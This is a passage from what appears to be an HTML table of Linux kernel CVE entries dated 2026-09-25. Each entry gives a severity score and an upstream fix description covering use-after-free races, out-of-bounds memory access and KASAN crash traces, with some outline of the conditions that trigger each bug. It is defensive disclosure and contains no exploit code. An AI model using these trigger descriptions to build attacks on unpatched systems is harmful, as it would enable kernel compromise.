net/ipv6/reassembly.c:229 (discriminator 2) net/ipv6/reassembly.c:391 (discriminator 2)) ipv6_frag_rcv (net/ipv6/reassembly.c:289 (discriminator 2) net/ipv6/reassembly.c:229 (discriminator 2) net/ipv6/reassembly.c:391 (discriminator 2)) ip6_protocol_deliver_rcu (net/ipv6/ip6_input.c:479 (discriminator 5)) ip6_input_finish (net/ipv6/ip6_input.c:534) ipv6_rcv (include/net/dst.h:480 (discriminator 3) net/ipv6/ip6_input.c:119 (discriminator 3) net/ipv6/ip6_input.c:109 (discriminator 3) include/linux/netfilter.h:325 (discriminator 3) include/linux/netfilter.h:319 (discriminator 3) net/ipv6/ip6_input.c:351 (discriminator 3)) packet_sendmsg (net/packet/af_packet.c:3110 net/packet/af_packet.c:3142) __x64_sys_sendmmsg (net/socket.c:2883 net/socket.c:2880 net/socket.c:2880) The buggy address belongs to the object at ff110001039c6b40 which belongs to the cache skbuff_small_head of size 704 The buggy address is located 0 bytes to the right of allocated 704-byte region [ff110001039c6b40, ff110001039c6e00) BUG: KASAN: slab-out-of-bounds in ip6_protocol_deliver_rcu (net/ipv6/ip6_input.c:423 (discriminator 1)) Read of size 1 at addr ff110001039c6e08 by task poc/771 Call Trace: ? ip6_protocol_deliver_rcu (net/ipv6/ip6_input.c:423 (discriminator 1)) ip6_protocol_deliver_rcu (net/ipv6/ip6_input.c:423 (discriminator 1)) ip6_input_finish (net/ipv6/ip6_input.c:534) ipv6_rcv (include/net/dst.h:480 (discriminator 3) net/ipv6/ip6_input.c:119 (discriminator 3) net/ipv6/ip6_input.c:109 (discriminator 3) include/linux/netfilter.h:325 (discriminator 3) include/linux/netfilter.h:319 (discriminator 3) net/ipv6/ip6_input.c:351 (discriminator 3)) packet_sendmsg (net/packet/af_packet.c:3110 net/packet/af_packet.c:3142) __x64_sys_sendmmsg (net/socket.c:2883 net/socket.c:2880 net/socket.c:2880) packet_sendmsg (net/packet/af_packet.c:2959 net/packet/af_packet.c:3053 net/packet/af_packet.c:3142) __x64_sys_sendmmsg (net/socket.c:2883 net/socket.c:2880 net/socket.c:2880) The buggy address belongs to the object at ff110001039c6b40 which belongs to the cache skbuff_small_head of size 704 The buggy address is located 8 bytes to the right of allocated 704-byte region [ff110001039c6b40, ff110001039c6e00)&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97602&quot; target=&quot;_blank&quot;&gt;CVE-2026-97602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_log: unregister loggers before per-net teardown nf_log_syslog and nfnetlink_log unregister their per-network namespace operations before unregistering their global logger backends. This leaves a window where a sysctl or netlink writer can rebind the still- registered logger after the per-net pre-exit callback cleared the old selection. The race looks like this: CPU 0 CPU 1 ---- ---- unregister_pernet_subsys() nf_log_unset(net, logger) net-&amp;gt;nf.nf_loggers[pf] = NULL lock nf_log_mutex find logger in loggers[][] net-&amp;gt;nf.nf_loggers[pf] = logger unlock nf_log_mutex nf_log_unregister(logger) lock nf_log_mutex loggers[pf][type] = NULL unlock nf_log_mutex synchronize_rcu() module exit returns module core frees backend memory Later, a sysctl read or packet logging operation can dereference the stale per-net logger pointer. Fix this by unregistering the global logger backends before tearing down per-net state. Once the global registrations are gone, later writers can no longer rebind the logger. unregister_pernet_subsys() already waits for an RCU grace period after the pre-exit callback clears the per-net selection, while nf_log_unregister() continues to cover readers of the global logger table. Apply this ordering fix to both nf_log backends that combine per-net teardown with global logger registration.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97608&quot; target=&quot;_blank&quot;&gt;CVE-2026-97608&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netfilter: cttimeout: prevent UAF during module unload nf_ct_set_timeout() protects the timeout hook dereference and policy lookup with rcu_read_lock(). cttimeout_exit(), however, unregisters the per-net operations before it clears the hook. This allows the following interleaving: CPU 0 CPU 1 cttimeout_exit() nf_ct_set_timeout() unregister_pernet_subsys() rcu_read_lock() kfree(pernet) h = nf_ct_timeout_hook h-&amp;gt;timeout_find_get() nfct_timeout_pernet() The hook still points to ctnl_timeout_find_get() when CPU 1 looks up the already freed per-net timeout list. KASAN reported: BUG: KASAN: slab-use-after-free in ctnl_timeout_find_get Read of size 8 by task poc/90 Call Trace: ctnl_timeout_find_get+0x271/0x2a0 [nfnetlink_cttimeout] nf_ct_set_timeout+0x7b/0x3c0 xt_ct_tg_check+0x724/0xb20 xt_check_target+0x234/0xa90 do_ipt_set_ctl+0x570/0x1270 Allocated by task 89: __kmalloc_noprof+0x16e/0x460 ops_init+0x6d/0x420 register_pernet_operations+0x2f6/0x670 Freed by task 91: kfree+0x131/0x390 ops_undo_list+0x3d4/0x730 unregister_pernet_operations+0x232/0x490 unregister_pernet_subsys+0x1c/0x30 cttimeout_exit+0x52/0x970 [nfnetlink_cttimeout] Clear the hook and wait for existing readers before unregistering the per-net operations. This blocks new policy lookups and ensures readers that observed the hook finish before the per-net storage is freed.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97609&quot; target=&quot;_blank&quot;&gt;CVE-2026-97609&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: openvswitch: fix use-after-free of the flow table mask array tbl_mask_array_realloc() retires the old mask_array before it stops being reachable: old = ovsl_dereference(tbl-&amp;gt;mask_array); if (old) { ... call_rcu(&amp;amp;old-&amp;gt;rcu, mask_array_rcu_cb); } rcu_assign_pointer(tbl-&amp;gt;mask_array, new); call_rcu() only waits for read-side critical sections already in flight. tbl-&amp;gt;mask_array still points at old between the call_rcu() and the rcu_assign_pointer(), so a reader entering ovs_flow_tbl_lookup_stats() in that window picks up old in a fresh critical section that the pending grace period does not cover. tbl_mask_array_realloc() runs in process context under ovs_mutex, so the window is preemptible and can outlast the grace period. Then mask_array_rcu_cb() frees old before the swap runs: BUG: KASAN: slab-use-after-free in flow_lookup.constprop.0+0x2bf/0x2f0 Read of size 8 at addr ffff888020b3e018 by task poc/741 flow_lookup.constprop.0+0x2bf/0x2f0 ovs_flow_tbl_lookup_stats+0x4a3/0x5c0 ovs_dp_process_packet+0x19c/0x710 ovs_vport_receive+0x243/0x390 internal_dev_xmit+0x81/0x170 Freed by task 728: kfree+0x16a/0x4e0 rcu_core+0x853/0x1030 Publish the new array before retiring the old one. The kfree_rcu() that call_rcu() replaced ran after the swap.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97611&quot; target=&quot;_blank&quot;&gt;CVE-2026-97611&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: mpls: clear inner_protocol when the last label is popped skb_mpls_push() records the pre-encapsulation network header once, gated on !skb-&amp;gt;inner_protocol. skb_mpls_pop() never clears that record, so it outlives the encapsulation it describes. Open vSwitch can then re-push MPLS onto a packet whose inner_network_header still points at the older, deeper offset: push a label, pop every label, recirculate (ovs_flow_key_update() re-derives key-&amp;gt;eth.type and resets network_header, but leaves inner_*), then push again. ovs_fragment() trusts the record: skb-&amp;gt;network_header = skb-&amp;gt;inner_network_header; so skb_network_offset() goes negative. The bound check is signed: if (skb_network_offset(skb) &amp;gt; MAX_L2_LEN) a negative offset passes it, and prepare_frag() widens the value: unsigned int hlen = skb_network_offset(skb); memcpy(&amp;amp;data-&amp;gt;l2_data, skb-&amp;gt;data, hlen); which is a ~4GiB memcpy out of a 30-byte per-CPU buffer. Reproduced on v7.3-rc1. RDX is the truncated length, (unsigned int)(-8): BUG: unable to handle page fault for address: ffffe8ffffc16000 #PF: supervisor write access in kernel mode Oops: 0002 [#1] SMP KASAN NOPTI RIP: 0010:memcpy+0x8/0x20 RDX: 00000000fffffff8 RSI: ffff888105d732db RDI: ffffe8ffffc16000 prepare_frag+0x3df/0x4e0 ovs_fragment+0x589/0x7e0 do_output+0x4ce/0x5e0 do_execute_actions+0x55d2/0x7b30 ovs_execute_actions+0xea/0x450 Same root-cause shape as commit 975b5b067f52 (&quot;ipv6: sr: restore network header before routing and forwarding&quot;): a stale network header offset reaching a consumer that widens it. Here it originates in the MPLS push/pop path. Clear inner_protocol once the packet is no longer MPLS, so a later push re-records the current header. net/sched/act_mpls.c is the only other skb_mpls_pop() caller and gets the same fix; sch_frag.c saves and restores inner_protocol around fragmentation in the same way OVS does.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97612&quot; target=&quot;_blank&quot;&gt;CVE-2026-97612&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: exit: hold a reference to thread_pid across proc_flush_pid Commit 0a36bad01731 (&quot;release_task: kill the no longer needed get/put_pid(thread_pid)&quot;) removed the reference around proc_flush_pid(). It assumed that free_pids(post.pids) at the end of release_task() would keep thread_pid alive until then. That assumption is wrong. __change_pid() only records a detached PID in post.pids when pid_has_task() is false for every PIDTYPE. If another task still uses the exiting task&#039;s PID as its process group or session ID, __unhash_process() removes the exiting task&#039;s PIDTYPE_PID link but leaves the PID out of post.pids. release_task() therefore holds no reference to it after dropping tasklist_lock. The other task can then remove the remaining PIDTYPE links. Its free_pids() call schedules delayed_put_pid(), and the RCU callback can free the PID before the first release_task() reaches proc_flush_pid(). An unprivileged reproducer races wait4(-1) against setsid() to trigger this ordering. Three of three fresh v7.2 KASAN boots reported: BUG: KASAN: slab-use-after-free in proc_invalidate_siblings_dcache+0x3e2/0x3f0 Read of size 8 by task h7_pid_reaper/1921 Call Trace: proc_invalidate_siblings_dcache release_task wait_consider_task __do_wait do_wait kernel_wait4 Freed by task 0: kmem_cache_free put_pid delayed_put_pid rcu_core Last potentially related work creation: __call_rcu_common free_pids ksys_setsid KASAN identified a 144-byte object from the pid cache and located the bad read 80 bytes into the freed object, matching pid-&amp;gt;inodes. With an explicit reference, three of three fresh boots completed without a KASAN report. The concurrent RCU callback dropped its reference while proc_flush_pid() was protected, and the balancing put_pid() performed the final free afterward. Take a reference before __unhash_process() clears p-&amp;gt;thread_pid and release it after proc_flush_pid() completes. A tested source reproducer is available privately on request. No controlled read or write, information leak, or privilege escalation is claimed. The mainline patch applies directly to v6.19.y and newer; v6.16.y through v6.18.y need a context-adjusted backport.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97903&quot; target=&quot;_blank&quot;&gt;CVE-2026-97903&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: sprd: validate compress buffer sizes against fixed allocations sprd_platform_compr_open() allocates the stage 0 IRAM buffer (32K data area) and the stage 1 DDR buffer (2M data area) with fixed sizes, but sprd_platform_compr_copy() derives all copy lengths from the user controlled runtime-&amp;gt;fragment_size and the write() count, never comparing them against the physical buffer sizes. The compress core only checks fragment_size * fragments for an u32 overflow in snd_compress_check_input(), so a local user can configure a logical buffer of up to ~4GB via SNDRV_COMPRESS_SET_PARAMS, far exceeding the fixed allocations. A fragment_size larger than the 32K IRAM data area makes the stage 0 copy_from_user() overflow past the IRAM allocation, and a buffer_size larger than the 2M DDR buffer makes the wrapping copy at the end of sprd_platform_compr_copy() write fully user controlled data past the buffer. No SNDRV_PCM_TRIGGER_START is needed, a write() in SETUP state reaches the copy callback directly. Reject parameters that do not fit into the fixed buffers in set_params(), and fix the advertised max fragment size: 128K never fitted into the 32K IRAM buffer. The caps values may have been carried over from the qdsp6 driver, which allocates its buffers according to the advertised maxima, unlike this driver. With 32K as max fragment size the advertised limits are self-consistent: 32K * 64 = 2M equals the DDR buffer size. Discovered by Atuin - Automated Vulnerability Discovery Engine.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97910&quot; target=&quot;_blank&quot;&gt;CVE-2026-97910&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel: ethosu: Ensure SRAM region size matches job It is possible for userspace to set the job SRAM size to 0, but then still have SRAM accesses in the command stream. When the job SRAM size is 0, setting the region base register is skipped and a stale base address from a prior job is used. Check the region size against the job&#039;s SRAM size instead of just the size of the SRAM. The job&#039;s SRAM size was already checked against the total SRAM size.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97911&quot; target=&quot;_blank&quot;&gt;CVE-2026-97911&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ufs: validate cylinder group metadata before caching it ufs_read_cylinder() copies the cylinder group index and the rotor positions straight from the on-disk group and caches them without any check: ucpi-&amp;gt;c_cgx = fs32_to_cpu(sb, ucg-&amp;gt;cg_cgx); ucpi-&amp;gt;c_rotor = fs32_to_cpu(sb, ucg-&amp;gt;cg_rotor); ucpi-&amp;gt;c_frotor = fs32_to_cpu(sb, ucg-&amp;gt;cg_frotor); ucpi-&amp;gt;c_irotor = fs32_to_cpu(sb, ucg-&amp;gt;cg_irotor); They are then used as indices during allocation and free: - c_cgx indexes the cylinder summary array as UFS_SB(sb)-&amp;gt;fs_cs(ucpi-&amp;gt;c_cgx), so a value past s_ncg writes a 32 bit count outside the s_csp allocation. - c_frotor becomes a bitmap scan start, start = c_frotor &amp;gt;&amp;gt; 3, and then length = ((s_fpg + 7) &amp;gt;&amp;gt; 3) - start. A start beyond the block bitmap wraps the unsigned length to a huge value, so ubh_scanc() walks far past the cylinder group buffers. c_irotor drives the inode bitmap the same way. A crafted image can set any of these freely, turning an ordinary allocation into an out of bounds access. Reject a cylinder group whose recorded index does not match the group being read, or whose rotors fall outside the group, before the metadata is cached. Valid filesystems keep cg_cgx equal to the group number and the rotors within the group, so only malformed images are rejected.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97926&quot; target=&quot;_blank&quot;&gt;CVE-2026-97926&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: us122l: Prevent write upgrades for read mappings The hwdep mmap callback rejects read-buffer mappings that are initially writable, but leaves VM_MAYWRITE set on mappings created with PROT_READ. A process that can open the hwdep node O_RDWR can later use mprotect() to make the mapping writable. The read allocation begins with struct usb_stream. Its read_size member is used by the fault handler to decide which pages belong to the read buffer. The read VMA intentionally remains expandable because pcm_usb_stream uses mremap() after reading that size. Changing read_size first can therefore map and access pages beyond the allocation. The same member is also consumed by usb_stream_free(), where changing it can make free_pages_exact() release pages outside the allocation. Clear VM_MAYWRITE for read-buffer mappings after rejecting an initially writable VMA. This keeps the separate output-buffer mapping writable while preventing later permission upgrades.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97931&quot; target=&quot;_blank&quot;&gt;CVE-2026-97931&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ftrace: fork: Initialize function graph state before copy_exec_state() dup_task_struct() copies the parent&#039;s task_struct, including ret_stack. ftrace_graph_init_task() clears the copied function graph state, but it currently runs after copy_exec_state(). For non-CLONE_VM forks, copy_exec_state() allocates a new task_exec_state. If that allocation fails, copy_process() reaches bad_fork_free and free_task() calls ftrace_graph_exit_task(). Since the child still carries the parent&#039;s ret_stack pointer, the unwind frees the parent&#039;s active function graph return stack. The parent subsequently accesses freed memory from function_graph_enter_regs(). KASAN reports: [ 22.190920] ================================================================== [ 22.195899] BUG: KASAN: slab-use-after-free in function_graph_enter_regs+0xa76/0xb90 [ 22.200747] Write of size 8 at addr ff110000054dc0a8 by task repro/1 [ 22.205134] [ 22.210770] CPU: 0 UID: 0 PID: 1 Comm: repro Not tainted 7.2.0-07732-g9328b3b03bdc-dirty #3 PREEMPT(lazy) [ 22.212576] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 22.213750] Call Trace: [ 22.215271] &amp;lt;TASK&amp;gt; [ 22.216242] ? ftrace_stub_direct_tramp+0x10/0x10 [ 22.217774] dump_stack_lvl+0x4e/0x70 [ 22.220531] print_report+0x157/0x4b4 [ 22.223202] ? fixup_red_left+0x9/0x30 [ 22.224407] ? complete_report_info+0x83/0x110 [ 22.226679] ? function_graph_enter_regs+0xa76/0xb90 [ 22.228084] kasan_report+0xce/0x100 [ 22.230109] ? function_graph_enter_regs+0xa76/0xb90 [ 22.232860] ? stack_trace_save+0x4/0xd0 [ 22.234156] function_graph_enter_regs+0xa76/0xb90 [ 22.236090] ? kasan_save_stack+0x30/0x50 [ 22.237752] ? __pfx_function_graph_enter_regs+0x10/0x10 [ 22.238694] ? ring_buffer_lock_reserve+0x345/0xf80 [ 22.239628] ? stack_trace_save+0x4/0xd0 [ 22.242121] ? stack_trace_save+0x4/0xd0 [ 22.243588] ftrace_graph_func+0xda/0x160 [ 22.245362] ? ftrace_stub_direct_tramp+0x10/0x10 [ 22.246520] 0xffffffffa0000095 [ 22.250528] ? stack_trace_save+0x9/0xd0 [ 22.251757] ? ring_buffer_unlock_commit+0x11d/0x5c0 [ 22.253152] stack_trace_save+0x9/0xd0 [ 22.254264] kasan_save_stack+0x30/0x50 [ 22.273631] kasan_save_track+0x14/0x30 [ 22.276763] kasan_save_free_info+0x3b/0x70 [ 22.278296] __kasan_slab_free+0x43/0x70 [ 22.280157] kmem_cache_free+0xbf/0x3b0 [ 22.282963] ? ftrace_stub_direct_tramp+0x10/0x10 [ 22.284001] free_task+0xa2/0x160 [ 22.285699] ? ftrace_stub_direct_tramp+0x10/0x10 [ 22.286752] copy_process+0x2aae/0x7bc0 Initialize the child function graph state immediately after dup_task_struct(), before the first fallible operation.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97937&quot; target=&quot;_blank&quot;&gt;CVE-2026-97937&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipv6: fix fib6 walker UAF on seq stop ipv6_route_iter_active() treats a walker in FWS_U at the table root as already unlinked. fib6_del_route() can move a still-linked walker into that same state when the current leaf is the last route at the root, so ipv6_route_native_seq_stop() skips fib6_walker_unlink(). The seq private object can then be freed while it remains on net-&amp;gt;ipv6.fib6_walkers. A later route deletion walks the dangling list and uses the freed walker. Use the list head as membership state and reinitialize it when unlinking. Keep the existing w-&amp;gt;node check so a never-started iterator with a zeroed private object is not treated as linked. The same stop helper is used by /proc/net/ipv6_route and by the BPF ipv6_route iterator. The BPF show path only widens the race.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97940&quot; target=&quot;_blank&quot;&gt;CVE-2026-97940&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/slab: take n-&amp;gt;list_lock in __slab_try_return_freelist() to avoid race Commit ba7425312607 (&quot;mm, slab: add an optimistic __slab_try_return_freelist()&quot;) incorrectly assumed that nobody has freed an object to the slab as long as slab-&amp;gt;freelist is NULL and cmpxchg succeeds. However, as reported by Hyunwoo Kim [1], other CPUs might have freed an object to the slab, insert the slab to the partial list, then allocated an object from the slab, and be in the middle of removing the slab from the list under n-&amp;gt;list_lock. Since __refill_objects_node() puts the slab back on pc.slabs outside n-&amp;gt;list_lock, it might insert the slab into that list while the slab is concurrently being removed from n-&amp;gt;partial. This led to a list corruption [1]: list_add corruption. next-&amp;gt;prev should be prev (ffff888100000248), but was dead000000000122. (next=ffffea000416e410). kernel BUG at lib/list_debug.c:29! Oops: invalid opcode: 0000 [#1] SMP NOPTI CPU: 1 UID: 65534 PID: 144 Comm: poc Not tainted 7.2.0-16172-gcf72cbb39da8-dirty #1 PREEMPT(lazy) RIP: 0010:__list_add_valid_or_report+0x80/0xd0 ... Call Trace: alloc_from_new_slab+0x183/0x300 ___slab_alloc+0x31c/0x890 __kmalloc_noprof+0x3d4/0x800 lsm_blob_alloc+0x2d/0x50 security_msg_msg_alloc+0x26/0x90 load_msg+0x1aa/0x210 do_msgsnd+0x91/0x800 do_syscall_64+0x109/0x5d0 entry_SYSCALL_64_after_hwframe+0x77/0x7f ... Kernel panic - not syncing: Fatal exception This is a classic ABA problem where cmpxchg succeeds but the state has changed since __refill_objects_node() took the freelist from the slab. As Vlastimil Babka mentioned [2], it should be rare to return more than one slab (due to the racy read of slab-&amp;gt;counters in get_partial_node_bulk()). Therefore, instead of introducing additional complexity, acquire and release n-&amp;gt;list_lock twice in the worst case. Return the slab directly to the partial list and hold n-&amp;gt;list_lock across the cmpxchg and add_partial(). This is similar to the initial version of commit ba7425312607 [3]. This is enough to avoid the race as the list manipulation is serialized by n-&amp;gt;list_lock. While at it, bring back unlikely() hint now that the condition is unlikely.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97941&quot; target=&quot;_blank&quot;&gt;CVE-2026-97941&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: stmmac: fix TX descriptor availability check for TSO traffic stmmac_tso_xmit() estimates the number of free TX descriptors required by a TSO skb as: (skb-&amp;gt;len - proto_hdr_len) / TSO_MAX_BUFF_SIZE + 1 which assumes the payload is split into TSO_MAX_BUFF_SIZE chunks. This underestimates the descriptors actually consumed by stmmac_tso_allocator(), since each fragment is mapped individually and so it needs at least one descriptor regardless of its size. Moreover, one descriptor is used for the L2/L3/L4 headers and, when the MSS changes, one more is consumed for the MSS context descriptor. For a highly fragmented TSO skb the check can therefore pass even when the ring has too few free slots. stmmac_tso_allocator() then writes past the available descriptors, overwriting descriptors still owned by the DMA engine, corrupting the TX ring. Add stmmac_tso_get_num_desc() to compute the exact number of descriptors needed for the header, the linear payload and each fragment, plus the MSS context descriptor when required, and use it in the availability check.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97953&quot; target=&quot;_blank&quot;&gt;CVE-2026-97953&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nstree: check listing permission before taking a namespace reference legitimize_ns() takes a reference on the candidate namespace before may_list_ns() has decided whether the caller may see it. The __free(ns_put) cleanup on the denied path can drop the last reference to a mount namespace while we still hold the rcu read lock, and put_mnt_ns() may sleep there. This is the same problem commit 2ec2aff3c8e2 (&quot;ns: make sure reference are dropped outside of rcu lock&quot;) fixed for the put_user() path. Neither ns_requested() nor may_list_ns() needs a reference, both only look at the namespace type and at the caller&#039;s own namespaces, so do the checks first and take the reference last. Splat: Voluntary context switch within RCU read-side critical section! WARNING: kernel/rcu/tree_plugin.h:332 at rcu_note_context_switch+0x238/0x2a0, CPU#5: a/3442 CPU: 5 UID: 1000 PID: 3442 Comm: a Not tainted 7.0.0-30-generic #30-Ubuntu PREEMPT(lazy) RIP: 0010:rcu_note_context_switch+0x238/0x2a0 Call Trace: &amp;lt;TASK&amp;gt; __schedule+0xcf/0x650 schedule+0x27/0x90 schedule_preempt_disabled+0x15/0x30 __mutex_lock.constprop.0+0x550/0xaf0 __mutex_lock_slowpath+0x13/0x20 mutex_lock+0x3b/0x50 exp_funnel_lock+0xb2/0x260 synchronize_rcu_expedited+0xe7/0x220 namespace_unlock+0x26a/0x320 put_mnt_ns+0xd3/0x120 mntns_put+0xe/0x20 do_listns+0x13e/0x560 __do_sys_listns+0x126/0x2d0 __x64_sys_listns+0x20/0x30 x64_sys_call+0x2366/0x2390 do_syscall_64+0x105/0x5a0 entry_SYSCALL_64_after_hwframe+0x76/0x7e &amp;lt;/TASK&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97971&quot; target=&quot;_blank&quot;&gt;CVE-2026-97971&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vdpa_sim_net: check TX pull result before RX copy vringh_iov_pull_iotlb() returns a signed byte count. A failed TX pull is currently added to the unsigned byte counter and then passed as a size_t length to receive_filter() and vringh_iov_push_iotlb(). A negative error can therefore become a large length in the RX path. Handle non-positive pull results before every length use. Count the TX error and complete the consumed TX descriptor with zero bytes. I found this bug myself, though the patch was written with AI assistance.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97990&quot; target=&quot;_blank&quot;&gt;CVE-2026-97990&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vdpa_sim_blk: reject out-of-range sector starts vdpasim_blk_check_range() logs an invalid start sector but continues validating the request. The subsequent unsigned capacity subtraction can underflow and let an out-of-range buffer offset reach the data path. The invalid offset is used by three request paths. VIRTIO_BLK_T_OUT copies guest data to blk-&amp;gt;buffer + offset through vringh_iov_pull_iotlb(), causing an out-of-bounds write in _copy_from_iter() or memcpy(). VIRTIO_BLK_T_IN copies from blk-&amp;gt;buffer + offset to the guest through vringh_iov_push_iotlb(), causing an out-of-bounds read in _copy_to_iter(). VIRTIO_BLK_T_WRITE_ZEROES passes blk-&amp;gt;buffer + offset to memset(), causing an out-of-bounds write. Reject starts at or beyond the capacity before the subtraction. Treat the capacity boundary as invalid because the IN and OUT paths round byte counts down to sectors for validation but later copy the original byte counts. A sub-sector request at the capacity boundary would otherwise still access past the end of the buffer. I found this bug myself, though the patch was written with AI assistance.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97991&quot; target=&quot;_blank&quot;&gt;CVE-2026-97991&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
